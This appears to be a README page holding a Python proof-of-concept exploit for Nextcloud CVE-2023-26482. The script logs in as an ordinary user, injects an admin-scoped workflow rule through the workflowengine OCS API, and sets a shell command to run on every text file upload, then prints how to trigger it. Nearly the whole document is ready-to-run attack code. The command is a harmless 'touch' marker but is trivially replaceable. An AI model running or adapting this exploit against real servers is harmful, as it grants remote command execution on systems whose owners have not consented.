README.md
Rendering markdown...
import requests
import sys
import json
# Configuration
URL = "http://localhost:8080"
USERNAME = "attacker"
PASSWORD = "AttackerPassword123!"
CMD = "touch /tmp/pwned"
def print_banner():
print("-" * 50)
print(" Nextcloud CVE-2023-26482 Exploit PoC")
print(" Target: " + URL)
print(" User: " + USERNAME)
print("-" * 50)
def main():
print_banner()
s = requests.Session()
# 1. Login
print("[*] Step 1: Attempting to log in...")
try:
login_page = s.get(f"{URL}/login")
requesttoken = login_page.text.split('data-requesttoken="')[1].split('"')[0]
except Exception as e:
print(f"[-] Error fetching login page: {e}")
sys.exit(1)
login_data = {
"user": USERNAME,
"password": PASSWORD,
"requesttoken": requesttoken,
"timezone": "Europe/Paris",
"timezone_offset": "1"
}
r = s.post(f"{URL}/login", data=login_data)
if "Log out" not in r.text and "logout" not in r.text:
print("[-] Login failed. Check credentials.")
sys.exit(1)
print(f"[+] Login successful as '{USERNAME}'.")
# 2. Extract Token
try:
requesttoken = r.text.split('data-requesttoken="')[1].split('"')[0]
except IndexError:
r = s.get(f"{URL}/apps/dashboard/")
requesttoken = r.text.split('data-requesttoken="')[1].split('"')[0]
# 3. Create Malicious Workflow
print("[*] Step 2: Injecting malicious workflow rule...")
headers = {
"Requesttoken": requesttoken,
"OCS-APIRequest": "true",
"Content-Type": "application/json",
"X-Requested-With": "XMLHttpRequest"
}
# Payload matches the create() method signature from
# apps/workflowengine/lib/Controller/AWorkflowController.php:
# create(string $class, string $name, array $checks, string $operation, string $entity, array $events)
#
# - class: The Operation class (OCA\WorkflowScript\Operation)
# - name: Human-readable rule name
# - checks: Array of conditions (check class, operator, value)
# - operation: The actual command/script to execute
# - entity: The Entity class that provides the trigger context
# - events: Array of event identifiers to listen for
payload = {
"class": "OCA\\WorkflowScript\\Operation",
"name": "PoC RCE Rule",
"checks": [
{
"class": "OCA\\WorkflowEngine\\Check\\FileMimeType",
"operator": "is",
"value": "text/plain"
}
],
"operation": CMD,
"entity": "OCA\\WorkflowEngine\\Entity\\File",
"events": ["\\OCP\\Files::postCreate"]
}
# CVE-2023-26482: Try the GLOBAL endpoint first.
# The vulnerability is that a non-admin user can create admin-scoped (global) workflows
# because the GlobalWorkflowsController lacks proper scope validation.
api_url_global = f"{URL}/ocs/v2.php/apps/workflowengine/api/v1/workflows/global?format=json"
api_url_user = f"{URL}/ocs/v2.php/apps/workflowengine/api/v1/workflows/user?format=json"
print(f" [*] Attempting global scope injection (CVE-2023-26482)...")
r = s.post(api_url_global, json=payload, headers=headers)
if r.status_code in [200, 201]:
scope_label = "GLOBAL (admin)"
else:
print(f" [!] Global endpoint returned HTTP {r.status_code}, falling back to user scope...")
r = s.post(api_url_user, json=payload, headers=headers)
scope_label = "USER"
if r.status_code in [200, 201]:
print(f"[+] Success! Malicious workflow created (scope: {scope_label}).")
try:
response_json = r.json()
ocs_data = response_json.get("ocs", {}).get("data", {})
print(f" - Rule ID: {ocs_data.get('id', 'Unknown')}")
print(f" - Class: {ocs_data.get('class', 'Unknown')}")
print(f" - Entity: {ocs_data.get('entity', 'Unknown')}")
except:
print(f" - Raw Response: {r.text[:300]}")
print(f" - Command: {CMD}")
print("-" * 50)
print("[*] Exploit Complete. To trigger the RCE:")
print(" 1. Log in to Nextcloud as ANY user.")
print(" 2. Upload a .txt file (MIME: text/plain).")
print(f" 3. Verify: docker-compose exec app ls -la /tmp/pwned")
print("-" * 50)
else:
print(f"[-] Exploitation failed. HTTP {r.status_code}")
print(f"[-] Response: {r.text}")
if __name__ == "__main__":
main()